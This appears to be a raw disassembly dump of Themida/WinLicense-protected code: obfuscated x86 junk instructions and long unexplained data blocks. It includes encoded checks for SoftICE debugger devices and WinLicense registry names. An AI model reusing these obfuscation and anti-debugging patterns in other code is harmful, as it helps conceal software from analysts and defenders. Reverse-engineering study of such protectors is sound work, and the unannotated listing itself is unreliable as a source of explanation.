		jmp	loc_55B7B1
; ---------------------------------------------------------------------------
		db 0B9h, 2, 0
		dd 0CF010000h, 243C8759h, 6624248Bh, 66C8AF0Fh,	84E99C51h
		db 0B5h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56773F:				; CODE XREF: Themida_:00566622j
		jmp	loc_552CC3
; ---------------------------------------------------------------------------
		dd 81243C8Bh, 4C4h, 3EBC100h, 0FFC4E9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_567755:				; CODE XREF: Themida_:005553AFj
		sub	ebx, edx
		add	ebx, 6322487Bh
		push	138Eh
		mov	[esp], edi
		jmp	loc_55E520
; ---------------------------------------------------------------------------


loc_56776A:				; CODE XREF: Themida_:00562733j
		mov	ebx, [esp]
		add	esp, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		push	1
		push	dword ptr [esp]
		pop	eax
		push	esi
		push	7174h
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_55BB5E
; ---------------------------------------------------------------------------


loc_567797:				; CODE XREF: Themida_:0055E7BCj
		mov	[esp], ebx
		jmp	loc_561D0B
; ---------------------------------------------------------------------------
		db 89h
		dd 0DABB241Ch, 810AE350h, 6502CBCBh, 0DECB813Dh, 87055D56h
		dd 0E9D7F7FBh, 0FFFF7DA7h
; ---------------------------------------------------------------------------


loc_5677BC:				; CODE XREF: Themida_:0055D27Aj
		neg	ebp
		xor	ebp, 59EC9136h
		jmp	loc_5618E0
; ---------------------------------------------------------------------------


loc_5677C9:				; CODE XREF: Themida_:00555898j
		add	esi, edi
		mov	edi, [esp]
		add	esp, 4
		add	eax, 4C7A262Ch
		sub	eax, esi
		sub	eax, 4C7A262Ch
		pop	esi
		push	edx
		push	0D59h
		mov	[esp], ebx
		push	0B235C6Dh
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	eax
		jmp	loc_55CCEE
; ---------------------------------------------------------------------------
dword_5677FC	dd 9D1C77FFh, 14D35966h, 0B8E99C24h, 0FFFFFEB4h, 348B2434h
					; DATA XREF: Themida_:00552BFCo
		dd 4C48124h, 0E9000000h, 0FFFEFB12h, 9ABE56h, 81466E6Ah
		dd 0C21946F6h, 0C1D6F755h, 0EE8105EEh, 0F71192A7h, 315EF331h
		dd 9A99E9DDh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56783E:				; CODE XREF: Themida_:00567129j
		pop	dword ptr [esp]
		pop	esp
		mov	[edx+30h], ebx
		jmp	loc_561AD4
; ---------------------------------------------------------------------------


loc_56784A:				; CODE XREF: Themida_:00556B37j
		add	[edx+38h], edi
		pop	edi
		jmp	loc_55960B
; ---------------------------------------------------------------------------
		db 0BFh
		dd 4, 0FF2E25E9h, 5EF089FFh, 74E9C831h,	0FEFFFF38h, 0D98851C3h
		dd 0CB88D1F6h, 0FED775E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_567875:				; CODE XREF: Themida_:00565F9Cj
		add	edi, 4
		xor	edi, [esp]
		jmp	loc_554D62
; ---------------------------------------------------------------------------
		dd 17DBCF81h, 0EFC16D9Bh, 2EFC102h, 8104E7C1h, 0C36FEFF7h
		dd 5FF98941h, 15FF931h,	2434FFCEh, 4C48359h, 2474FF56h
		dd 48F5E04h, 0C90E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5678B2:				; CODE XREF: Themida_:0055D52Bj
		add	[esp+4], edx
		add	dword ptr [esp+4], 7E2F00E0h
		jmp	loc_55C65B
; ---------------------------------------------------------------------------
		db 81h
		dd 9F4AFEC6h, 0E9EE0143h, 0FFFFDB23h, 23E0ED81h, 0ED815682h
		dd 0F88A35F2h, 0FF615FE9h, 4C481FFh, 0E9000000h, 0FFFEB3D7h
		dd 79D92D58h, 0D0291D28h, 2879D905h, 24148B1Dh,	5F04C483h
		dd 79D568h, 24048900h, 0B12C32B8h, 58C32908h, 6C556855h
		dd 8F540000h, 4812404h,	424h, 57E95D00h, 81FFFF58h, 3B6816EDh
		dd 81D50153h, 3B6816C5h, 515F5A53h, 2F0D4EB9h, 83D1F755h
		dd 0FF51FFE9h, 81592404h, 0D0F2B1E9h, 0E182E9AAh, 48FFFFEh
		dd 24248B24h, 9C240CFEh, 0FFFBA7E9h, 4C483FFh, 0F01BBB53h
		dd 0DA01CC0Dh, 0F3C3815Bh, 1579268h, 0F3EB81D3h, 8B579268h
		dd 0C4832414h, 241C3304h, 33241C31h, 248B241Ch,	24040824h
		dd 6786E99Ch, 5150FFFFh, 0EC88BCB5h, 0FFEFD4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5679A1:				; CODE XREF: Themida_:0055BAD0j
		push	1DDh
		mov	[esp], edi
		mov	edi, 67F571DEh
		jmp	loc_56730D
; ---------------------------------------------------------------------------
		db 0E8h
		dd 0Bh,	0FC030318h, 0AA54B0DEh,	0E8F9E3CDh, 11h, 3E8DD63Fh
		dd 0B711B155h, 362BBC37h, 75D45FE6h, 3820FBBh, 66000000h
		dd 5F5BC18Bh, 5800Fh, 2EBB0000h, 817F8B58h, 726FC7h, 68F500h
		dd 66000000h, 0C183C081h, 0DAB70F5Eh, 663E34FFh, 59DE37B8h
		dd 0BDBE5260h, 5F36513Ch, 0CE9h, 0B6035D00h, 4179F87Dh
		dd 0AA622E9Ah, 0C18161CBh, 5B2A1E4h, 0B429E281h, 0F18133A3h
		dd 3BC04326h, 0CE8h, 0D6171500h, 0B62E66F5h, 0B7CC7C72h
		dd 68C0F08h, 0F000000h,	89h, 0C1815B00h, 4533BB50h, 0C89D18Bh
		dd 0E3816637h, 8166D0B8h, 83CAC0DBh, 0D4BA04EEh, 811F3B16h
		dd 0FF8E64FEh, 85850FFFh, 0E9FFFFFFh, 0Bh, 0B543232Ch
		dd 0F84B4339h, 0EB7AE807h, 45535536h, 2E323352h, 6C6C64h
		dd 41564441h, 32334950h, 6C6C642Eh, 44544E00h, 642E4C4Ch
		dd 0D7006C6Ch, 1000907h, 2001800h, 2D000600h, 17026000h
		dd 0E92C7AD0h, 8E4h, 0E693D268h, 0EAB8E905h, 6C68FFFDh
		dd 0E905E694h, 0FFFDEAAEh, 0E6958C68h, 0EAA4E905h, 2C68FFFDh
		dd 0E905E697h, 0FFFDEA9Ah, 0E6979368h, 0EA90E905h, 9268FFFDh
		dd 0E905E698h, 0FFFDEA86h, 0E6991368h, 0EA7CE905h, 0BD3EFFFDh
		dd 0D3878302h, 60E93154h, 0BA3CE6E9h, 0D1849E01h, 0D7E63756h
		dd 0F19413C2h, 0AB2AA529h, 5F7EF97Fh, 0F29514C3h, 492B144Bh
		dd 0AB54EB79h, 0E6CC86DDh, 0D7C3A57Dh, 0AF2A74C8h, 0B71C6F28h
		dd 0D3B230EDh, 0E928D592h, 0A66EA154h, 0C334C059h, 827B2Eh
		dd 3CE3605Dh, 50833127h, 3B904D78h, 0B3A038BFh,	0D2839F7Eh
		dd 0B4CE0557h, 77D68304h, 0C325BC0Eh, 70D7182Eh, 0AB2AAD2Ah
		dd 7841F87Fh, 45F1A219h, 63773E9Ah, 0A5000007h,	0E14BB32h
		dd 50CACD4Ah, 0A37F1E99h, 0B17B631h, 5FC8CF4Ah,	0D844960h
		dd 0A3DC908Ah, 0F770E63Ch, 0A8D4AD0h, 50ADFC8Bh, 54EB78D2h
		dd 0CC7F5452h, 0CAE278E6h, 5E3BD3C0h, 41048734h, 0A0039559h
		dd 0D693228Fh, 0BA1EFB2Ch, 71D4560Fh, 0EC41F20Ch, 0C53A9954h
		dd 54EB4167h, 0BDBF80C5h, 3F54EB40h, 0A4CE8BFCh, 0C076AC73h
		dd 0DB9A8047h, 70D70C5Ch, 0EB412D0Fh, 834C8F54h, 0A5B026FCh
		dd 0EB40DA58h, 3EB05A54h, 0CB3C3785h, 0B338C296h, 85C4B338h
		dd 61EB1C49h, 6C980h, 21581B00h, 73F464BEh, 8403B66Ch
		dd 0DC571901h, 75EC61B9h, 0AFFAC552h, 0F62CB32Eh, 5CC6C946h
		dd 0A07A1D9Eh, 962DB02Bh, 7A6CCE37h, 0B2C854EBh, 60C077E5h
		dd 0AA3E73ECh, 8A0DB90h, 0A99675DCh, 4F04E5CBh,	0DE9CE629h
		dd 0AAD6F05Dh, 14CD2063h, 4A492Eh, 778C0000h, 73EC60C0h
		dd 52CE9F3Eh, 4F04E5CCh, 85088348h, 0C74532h, 0E956363Fh
		dd 32954654h, 2AE760E8h, 0E894F5Bh, 9597E84Fh, 1754E954h
		dd 0CE546B24h, 69C88F08h, 0B404BF31h, 54E446BFh, 8F4054E9h
		dd 2B2F96C2h, 7E000006h, 7349C077h, 440B8946h, 8736985Eh
		dd 4E85D708h, 0D4DD2285h, 0A054E909h, 8A280FDh,	0B15254E9h
		dd 4EE374Ah, 0AD9E514Dh, 0E97BF02Ah, 0EC0EF262h, 90E653B4h
		dd 1594435Fh, 345B8C47h, 0B7169441h, 0D067BB4Eh, 98E5445Ah
		dd 4F07629Ah, 0FE79F01Ah, 75A6C08Dh, 49C28892h,	5BDC9C86h
		dd 6679D201h, 24943EBCh, 0E9DA09A3h, 5098F2D3h,	73A096A8h
		dd 0A7147EDBh, 37BA8724h, 4F0D222Dh, 5A9E6h, 0C178FB00h
		dd 139444DEh, 0A423968Ch, 0FC77F921h, 158C41D9h, 8F1AA572h
		dd 0D64C53CEh, 3CE6E966h, 809A3DBEh, 0B64D50CBh, 7B8CEED7h
		dd 92E854EBh, 49C077C5h, 86485273h, 9146400Dh, 0E5B9BB84h
		dd 0D13B4F04h, 1AC9E31Ah, 68E4F429h, 6EEA2E52h,	434F04E8h
		dd 7190B69Ch, 0F9D55202h, 503DDCA2h, 154F241Eh,	0FED5552Eh
		dd 7780FFFFh, 278649C0h, 4E65CDEh, 0BA17D84Fh, 68EAA31Eh
		dd 0F58F58A5h, 1DE754E8h, 2AEDDE59h, 0F69C50C0h, 0D2BFAB44h
		dd 8D0FF8B3h, 408F5CAh,	9A645ACEh, 0F90359DEh, 5085F671h
		dd 85FA5978h, 4F05C2A7h, 39F4CB05h, 564E1956h, 0E64BA865h
		dd 2E4F05AFh, 8D9F2DAAh, 0DC7E4ACDh, 0B03A3684h, 0A502B55h
		dd 0D4FBCE06h, 0CD719BFEh, 4885BD63h, 0A64B875Dh, 6E6825D6h
		dd 5198EB22h, 8DC12E15h, 0E2000001h, 63470188h,	0FE5B9100h
		dd 0A56348D9h, 227CFF7Dh, 915835B2h, 4CCB8F24h,	2E4BB41Bh
		dd 0DD54E910h, 3D9611C5h, 839F7EB1h, 7AF8C5D2h,	0FA54E910h
		dd 0BD0BC439h, 32300DECh, 0B254E910h, 0B2AF9441h, 192EC32Ch
		dd 1BE745BAh, 92452B43h, 7857239h, 34B9E140h, 5B342FBDh
		dd 2744F91Ah, 36827531h, 9D40C2BBh, 0C33D52A0h,	3C58B22Eh
		dd 131B82F1h, 6CEB6AB4h, 0D3B2E75Ch, 0EA31330Ch, 40B32B42h
		dd 0E9C2A09Dh, 0F1222B42h, 3E24124h, 42EA4022h,	9E7BBC2Bh
		dd 935DC774h, 0A4E9D506h, 0A8721546h, 91F3B123h, 4549EA75h
		dd 0D108AB10h, 6DEF45F1h, 40984h, 61985B00h, 0B334A47Eh
		dd 0C443F62Ch, 1C9759C1h, 0B52CA179h, 0EFBA0512h, 36ECF36Eh
		dd 9C860986h, 0E03A5DDEh, 56EDF06Bh, 7D2C0E77h,	0F28854EBh
		dd 0ED6FD8A5h, 7933D52Ah, 0B0EA54EBh, 0ADC9823Dh, 0F97FAB6Ah
		dd 0C7389F7Eh, 54EB7865h, 22B631A7h, 8942B531h,	2DAE2CF6h
		dd 4FCE8D9Fh, 494F4F6Eh, 5918B01Ch, 3A2h, 0D5F873E4h, 8B0A8D4Dh
		dd 385FDA9Fh, 0D0F770E2h, 890C8B4Ah, 0C588219Ch, 1FDF4B4Ah
		dd 0B725FDE0h, 0C2899134h, 0EEBD444Bh, 0EB7C9391h, 3C6B1154h
		dd 7349C077h, 0D1EB62E9h, 9F5B4765h, 4F04E783h,	0C9FC46B8h
		dd 0EC6D2E14h, 0A8FFFFFCh, 7349C077h, 9824852h,	0F06680B3h
		dd 25EE6577h, 0B41B9956h, 0E9133E4Bh, 67D5CD54h, 0B21FD4E4h
		dd 17C0C708h, 0CDBA6048h, 0E682E0DDh, 31E24F04h, 8B2419FCh
		dd 0EB54E910h, 86D24D01h, 4BF314Dh, 50260CD3h, 7E989274h
		dd 8AFF78FAh, 400877C1h, 5BFD00FBh, 0DEBD60E2h,	3C9912C4h
		dd 0DCE056F7h, 0ED3C1602h, 76347FDDh, 9062C03Dh, 11C2F71Ch
		dd 0E4D1EBDCh, 68CA3B2Bh, 0C4F71C90h, 0CB46F713h, 0FCCE3796h
		dd 58FD00C9h, 9C4D468Eh, 0FE33DEB4h, 0D554031Fh, 0D0529372h
		dd 2CFCF89Dh, 389F2EEBh, 1AF770E2h, 0FBC07BF0h,	743C29B4h
		dd 0A320814Bh, 0E5000002h, 4ED4FB72h, 908A0D8Ah, 0E33F5ED9h
		dd 4BD7F671h, 9F880F8Ah, 4DC48920h, 0E31CD04Ah,	37B026FCh
		dd 4ACD8A90h, 90EDBC4Bh, 54EB7D92h, 0CC3F9412h,	0D3E966D6h
		dd 0D9560660h, 34875083h, 0B716F97Bh, 0AC2D85Bh, 612ACA8Dh
		dd 0EBCC0800h, 0E4AB6C54h, 0D7803FBEh, 2BAC2A70h, 66F87EA4h
		dd 8CF80342h, 0C296CB9Dh, 5911B338h, 5FF1734Ch,	807354EBh
		dd 95C67D4Fh, 4967B1D4h, 6FD6821Ch, 222h, 5578F364h, 0B8A0DCDh
		dd 0B8DF5A1Fh, 5077F062h, 98C0BCAh, 4508A11Ch, 9F5FCBCAh
		dd 37A57D60h, 420911B4h, 6E3DC4CBh, 0EB7F1311h,	0BCEB9154h
		dd 0E562D6CCh, 0E65FDD22h, 1ADD4F04h, 8F0DFAB1h, 0B58A69C8h
		dd 4F04E5B7h, 2809C235h, 54EB7930h, 0D6CC9344h,	94E7E661h
		dd 84F95CD6h, 54EB77B0h, 6BF1CB0Ch, 149346EAh, 69C88923h
		dd 0EB781614h, 0F2704D54h, 7254EB77h, 79D20581h, 47C2739Dh
		dd 0B2396140h, 2F9B5E3Bh, 703E2A5h, 0C542F256h,	4E0B7CF7h
		dd 0EB780B61h, 0CE8F6954h, 0B04A1E53h, 9228803Bh, 4548C388h
		dd 0CD9F1EDDh, 21896F00h, 0D04B00E1h, 67E655CDh, 8B06B755h
		dd 0DAC6A431h, 9A3DBC3Bh, 0F168EF3Bh, 0FC7BFA24h, 0AA5061ECh
		dd 0AC21C0C0h, 0CFDB5C1Ch
		dd 93A8E09h, 0A32971D4h, 0C2586F28h, 0BD3CBD13h, 0E9C3342Fh
		dd 894BE553h, 3F8FDD0Eh, 1B772D55h, 0E9602B0Ah,	2E58246Eh
		dd 7DF01AF7h, 0DCEC6BEBh, 8C533267h, 0EB55B1B3h, 54E36354h
		dd 0C5F78A79h, 3BE3FD9h, 8C49BAA9h, 33AA21F9h, 76E23899h
		dd 9FDF24F1h, 0BF0D5EB0h, 8F4CADD5h, 4B2A890Ch,	99E9F87Ah
		dd 2CAA740Ch, 0F12211ABh, 0D37DFA24h, 1ED5E762h, 0C88D9F2Dh
		dd 87DF678h, 0D8D8A2B0h, 543BB239h, 0B7248A4Eh,	7AAFA434h
		dd 8518F56Eh, 0C17AFC26h, 739F78EBh, 7A7745C4h,	3BB4268Dh
		dd 0B93E07C6h, 3D127E06h, 15F4DBFAh, 75FE4A28h,	2E0C7107h
		dd 8E0775FEh, 330C514Dh, 775FE31h, 420F40B3h, 45A53EF7h
		dd 0E00E9BA5h, 5DB5184Dh, 77F41172h, 441BF46Ch,	5CA1EF7Bh
		dd 652850Dh, 0D1F477E4h, 0B10B8249h, 38ECD38Eh,	0A48E4F36h
		dd 6459258Ch, 0E3101F06h, 5C59B566h, 0B41EFB77h, 0AF2EAD4Ch
		dd 0C245F228h, 7B3EFF6h, 0A5122880h, 0FA24F122h, 1DEDFF78h
		dd 9114BB7h, 68F2C641h,	0D83267E0h, 0C28E1C38h,	4A5401B6h
		dd 0C5A7988Dh, 27E310C5h, 61C83F4h, 0C382D651h,	0CE9A15C7h
		dd 305B815h, 50000000h,	0C4775106h, 6EED7F4Dh, 894FDDEFh
		dd 2CA0BA0Eh, 520319B3h, 0F66785D7h, 19DB617Bh,	0B930CA9Eh
		dd 0D890AA3Eh, 50B30D5Fh, 405E089h, 83000000h, 48704E8h
		dd 2C895C24h, 25856824h, 1C890000h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		push	ecx
		mov	ecx, 5E69349h
		mov	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	esp
		mov	esi, [esp]
		add	esp, 4
		push	ebx
		add	dword ptr [esp], 332D6536h
		pop	dword ptr [esi+8]
		push	eax
		mov	eax, 6FF80235h
		sub	eax, 3CCA9CFFh
		sub	[esi+8], eax
		pop	eax
		mov	esi, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_54658E
; ---------------------------------------------------------------------------
		db 4Eh,	75h, 0FDh
		dd 214ED707h, 32C4242Ch, 0E69B5AB8h, 0FFC50305h, 187E15E0h
		dd 21580004h, 0B5380165h, 0EB26BA54h, 98D6F10Ah, 0FEBDD10Ch
		dd 0FF464A5Fh, 5EEA3D1Dh, 415B8B08h, 0ACF00A50h, 0C010070Bh
		dd 92846A66h, 0FDB1866Dh, 0D6ABA057h, 0F4F5626h, 9C12694Bh
		dd 2D4C9863h, 6B1F1E79h, 1C5C8F7Fh, 71E919h, 83600000h
		dd 0E41021BDh, 840F0005h, 5, 5CE9h, 80006A00h, 850F303Eh
		dd 8, 0E946006Ah, 35h, 0F333E80h, 885h,	46106A00h, 24E9h
		dd 343E8000h, 8850Fh, 306A0000h, 13E946h, 3E800000h, 8850F35h
		dd 6A000000h, 2E94640h,	6A000000h, 0F9858D00h, 9005E402h
		dd 50969050h, 0FF006A96h, 0E40CC995h, 0C6C36105h, 0E42A4985h
		dd 46684D05h, 81AC71EEh, 98EE2434h, 0B5FF0844h,	5E42379h
		dd 3994858Dh, 0D0FF05E4h, 0CC98589h, 1EEB05E4h,	5C2E5C5Ch
		dd 45434953h, 2E5C5C00h, 5749535Ch, 444956h, 5C2E5C5Ch
		dd 4349544Eh, 0C08B0045h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 17h, 5CC35646h, 6667B3D8h,	83E18BBAh, 0E416A1BDh
		dd 9750005h, 220DBD83h,	740005E4h, 8B535019h, 40FB8C0h
		dd 85890000h, 5E42215h,	0A8EB9D8Dh, 0D3FF05E6h,	0BD83585Bh
		dd 5E4220Dh, 50177400h,	40FB853h, 85890000h, 5E42215h
		dd 0A5DA9D8Dh, 0D3FF05E6h, 10E9585Bh, 47000000h, 9E56DFFAh
		dd 2F527473h, 926EA2B2h, 0F9E20198h, 860FC08Bh,	0Ch, 6800Fh
		dd 0BD8B0000h, 5E414D5h, 2DB98589h, 85C605E4h, 5E42A49h
		dd 53006A43h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1D04h
		dd 0C3534300h, 68F62FD6h, 2FC8FEB0h, 7E80368h, 0F000000h
		dd 411DECAEh, 59FC1856h, 2F6E3768h, 15840F9Ah, 0E8000000h
		dd 0Dh,	9E604F5Ch, 1DE7A2D5h, 33D129Ah,	5A6160D6h, 0C5240481h
		dd 33225F00h, 0E42D498Dh, 0E5B5FF05h, 8D05E428h, 0E4399485h
		dd 56006A05h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1B04h
		dd 0C3564600h, 95A8252h, 0D91F29EFh, 9D89D0FFh,	5E42BA9h
		dd 0ECB95090h, 90549827h, 6E8h,	0D0D4FC00h, 0E9B376C6h
		dd 5, 1C437CB7h, 6A5EB0h, 0CCD9589h, 836805E4h,	81564E4Ch
		dd 4C032434h, 31F5564Eh, 0E423C1BDh, 0E8036A05h, 11h, 93EA5DDCh
		dd 17F1680Dh, 4C5F0ED2h, 504F4CFEh, 699D8998h, 5E05E413h
		dd 0BE50006Ah, 48882263h, 0F036A5Eh, 8068F8BFh,	0E8813EE1h
		dd 13h,	0FB56A2CAh, 687BD5C1h, 5A86B4DFh, 0CCFECC15h, 59047199h
		dd 80240481h, 0E93EC11Eh, 0Ah, 0A2D1195Eh, 84B0AECBh, 9D8D76A7h
		dd 5E69CDBh, 16159509h,	505005E4h, 66310F52h, 585AC88Bh
		dd 0FF241C89h, 0D18B66D0h, 0E2850F40h, 0F000002h, 2958CFB7h
		dd 0E413018Dh, 12E99005h, 0C5000000h, 1CBFD479h, 1A7CA0ACh
		dd 1F9B372Ch, 7796711Bh, 0CF8B503Ah, 3DBFBF90h,	6A44A2h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 25C35646h
		dd 0A9B58B6Fh, 6805E417h, 5897819Bh, 0FEF3C8BEh, 24348112h
		dd 5897811Bh, 4EA8166h,	0BA036A8Ah, 64D8D0E4h, 8166006Ah
		dd 0F9898EF2h, 8589036Ah, 5E41369h, 4D79F4B9h, 4E85Ah
		dd 0
		dd 6660C000h, 13E9FB8Bh, 87000000h, 40B67C5Ch, 5D0B9580h
		dd 9458508Fh, 67DBB795h, 5061454Fh, 8BD08B66h, 0E8042444h
		dd 10h,	742E94FBh, 296855AFh, 2D3B60D2h, 8A3DC3ACh, 0E8008B59h
		dd 0Eh,	86C28915h, 0B70147C8h, 0FEB64227h, 0BE669B76h
		dd 895EE17Ch, 66042444h, 5158FB8Bh, 8B5ECE8Bh, 0E423B5BDh
		dd 0E49D8D05h, 5105E69Ch, 0FA4AB5B9h, 0BA665F4Eh, 66933B33h
		dd 6650FA8Bh, 6A93F18Bh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1A042444h, 41000000h, 93ECC351h, 64654D2Fh
		dd 89D0FF37h, 0E411219Dh, 850F4005h, 1A5h, 2C698D89h, 0F5805E4h
		dd 1A80h, 14840F00h, 0E9000000h, 0Fh, 6DDA1989h, 956D8B6Eh
		dd 1BC91456h, 503D104Bh, 310F5250h, 489585Ah, 0F38B6624h
		dd 8B60006Ah, 0FE8B66C7h, 4E861h, 800000h, 0BE500000h
		dd 49708180h, 424448Bh,	48E0Fh,	0BF660000h, 8B0C38h, 0D68B6657h
		dd 2444895Eh, 58FA8B04h, 11118589h, 36A05E4h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 50C35141h, 6802569Bh
		dd 98BEE71Ch, 6A144FA1h, 8E900h, 14930000h, 85619E54h
		dd 36A7A5Ch, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 17h,	0A2C35141h, 68CB72FFh, 0F794F184h, 3481F28Bh, 94F18424h
		dd 81665737h, 59C8E7C6h, 9CEF9D8Dh, 0D98005E6h,	830F931Eh
		dd 19h,	14E9h, 6ADA0400h, 15D6F77Bh, 5F14ACF0h,	39C21AF2h
		dd 3F6BDCB2h, 860F50DFh, 6, 52595260h, 0E893615Bh, 0Fh
		dd 0AD871517h, 0CE3528B2h, 912D1E06h, 59AD15C5h, 6AD0FFh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
		dd 2F77F1C3h, 7E97041h,	8A000000h, 28507F27h, 0F403463h
		dd 4885h, 0EBBF6600h, 6A58A5h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 180424h, 55450000h, 301A78C3h, 8D01982Eh
		dd 5E4088Dh, 10E9h, 0EE327900h,	21C810D0h, 95CFB9A6h, 0A53405B0h
		dd 121E98Eh, 0B70F0000h, 66D88BCBh, 0D8F1D981h,	0D79958Bh
		dd 664B05E4h, 8B0BC981h, 52006A58h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1904h, 0C3524200h, 0D29FC563h, 8B663146h
		dd 4985C6F3h, 4305E42Ah, 284DB589h, 906805E4h, 56DE8D9Fh
		dd 0A77CDCBAh, 34815A65h, 0FBD53724h, 53006A1Eh, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h
		dd 0E84F748Eh, 2A75BDF2h, 0A1AEBE66h, 28E5B5FFh, 0B58905E4h
		dd 5E42649h, 3994858Dh,	0D0FF05E4h, 50F1BF0Fh, 8830Fh
		dd 0F510000h, 87h, 1C895E00h, 0CE924h, 0F0F60000h, 1028E7C7h
		dd 49278430h, 0D0FFBE4Bh, 9D8DEE8Ah, 5E46FFDh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 77C35242h, 14E9D558h
		dd 0E8000000h, 66982142h, 7905FFEBh, 0B3704494h, 613E31Fh
		dd 0B887B5C9h, 1, 11E8E3FFh, 0B8000000h, 0CFBF7D27h, 0FD03923Bh
		dd 92950135h, 0BD299D2Dh, 0D798D8Bh, 8B5A05E4h,	0C08BFCC1h
		dd 0DE9h, 0E04E3400h, 0C074CB6h, 0A008D39Fh, 8D29D078h
		dd 5E41309h, 16A1BD83h,	750005E4h, 0DBD8309h, 5E422h, 53501974h
		dd 0FB8C08Bh, 89000004h, 0E41A5585h, 529D8D05h,	0FF05E6A9h
		dd 83585BD3h, 0E4220DBDh, 17740005h, 0FB85350h,	89000004h
		dd 0E41A5585h, 0F39D8D05h, 0FF05E6A5h, 0F585BD3h, 382h
		dd 0D7B70F00h, 75BD8Bh,	0C08B05E4h, 0AAE9h, 666F5300h
		dd 72617774h, 69575C65h, 63694C6Eh, 65736E65h, 65684300h
		dd 4E496B63h, 72705800h, 7845746Fh, 43007469h, 6B636568h
		dd 54554Fh, 4C6E6957h, 6E656369h, 65566573h, 6F697372h
		dd 6957006Eh, 63694C6Eh, 65736E65h, 76697244h, 65567265h
		dd 6F697372h, 6957006Eh, 63694C6Eh, 65736E65h, 74736E49h
		dd 65636E61h, 69784500h, 6B4F74h, 636F7250h, 50004E49h
		dd 4F636F72h, 45005455h, 49746978h, 7845004Eh, 554F7469h
		dd 70540054h, 4E49h, 2 dup(0)
		dd 7F000000h, 0F077DDAFh, 0E977DD72h, 596h, 0A40E8589h
		dd 858D05E6h, 5E6A40Ah,	74858D50h, 5005E6A3h, 168h, 1A95FF80h
		dd 6A05E6A4h, 0EB5FF19h, 6A05E6A4h, 8D006A01h, 0E6A3A385h
		dd 0B5FF5005h, 5E6A40Ah, 13E195FFh, 0B5FF05E4h,	5E6A40Ah
		dd 0A41695FFh, 0B5FF05E6h, 5E6A40Ah, 31B195FFh,	89C305E4h
		dd 0E6A40E85h, 0A858D05h, 5005E6A4h, 0A374858Dh, 685005E6h
		dd 80000001h, 0A41A95FFh, 46A05E6h, 0A40E858Dh,	6A5005E6h
		dd 8D006A04h, 0E6A3CD85h, 0B5FF5005h, 5E6A40Ah,	13E195FFh
		dd 0B5FF05E4h, 5E6A40Ah, 0A41695FFh, 0B5FF05E6h, 5E6A40Ah
		dd 31B195FFh, 89C305E4h, 0E6A40E85h, 0A858D05h,	5005E6A4h
		dd 0A374858Dh, 685005E6h, 80000001h, 0A41A95FFh, 46A05E6h
		dd 0A40E858Dh, 6A5005E6h, 8D006A04h, 0E6A3B585h, 0B5FF5005h
		dd 5E6A40Ah, 13E195FFh,	0B5FF05E4h, 5E6A40Ah, 0A41695FFh
		dd 0B5FF05E6h, 5E6A40Ah, 31B195FFh, 89C305E4h, 0E6A40E85h
		dd 0A858D05h, 5005E6A4h, 0A374858Dh, 685005E6h,	80000001h
		dd 0A41A95FFh, 46A05E6h, 0A40E858Dh, 6A5005E6h,	8D006A04h
		dd 0E6A3E085h, 0B5FF5005h, 5E6A40Ah, 13E195FFh,	0B5FF05E4h
		dd 5E6A40Ah, 0A41695FFh, 0B5FF05E6h, 5E6A40Ah, 31B195FFh
		dd 89C305E4h, 0E6A40E85h, 0A858D05h, 5005E6A4h,	0A374858Dh
		dd 685005E6h, 80000001h, 0A41A95FFh, 46A05E6h, 0A40E858Dh
		dd 6A5005E6h, 8D006A04h, 0E6A39085h, 0B5FF5005h, 5E6A40Ah
		dd 13E195FFh, 0B5FF05E4h, 5E6A40Ah, 0A41695FFh,	0B5FF05E6h
		dd 5E6A40Ah, 31B195FFh,	83C305E4h, 0E41FEDBDh, 840F0005h
		dd 0Bh,	1FED9D8Bh, 0C38305E4h, 0C303894Ch, 1FEDBD83h, 0F0005E4h
		dd 0B84h, 0ED9D8B00h, 8305E41Fh, 38950C3h, 0EDBD83C3h
		dd 5E41Fh, 0B840Fh, 9D8B0000h, 5E41FEDh, 8954C383h, 0BD83C303h
		dd 5E41FEDh, 0B840F00h,	8B000000h, 0E41FED9Dh, 58C38305h
		dd 83C30389h, 0E41FEDBDh, 840F0005h, 0Bh, 1FED9D8Bh, 0C38305E4h
		dd 0C303895Ch, 858960C3h, 5E6A40Eh, 0A40A858Dh,	8D5005E6h
		dd 0E6A37485h, 1685005h, 0FF800000h, 0E6A41A95h, 8D046A05h
		dd 0E6A40E85h, 46A5005h, 858D006Ah, 5E6A405h, 0AB5FF50h
		dd 0FF05E6A4h, 0E413E195h, 0A1BD8305h, 5E416h, 0C840Fh
		dd 0B5FF0000h, 5E6A40Ah, 0A41695FFh, 0B5FF05E6h, 5E6A40Ah
		dd 31B195FFh, 0C36105E4h, 0E858960h, 8D05E6A4h,	0E6A40A85h
		dd 858D5005h, 5E6A374h,	16850h,	95FF8000h, 5E6A41Ah, 858D046Ah
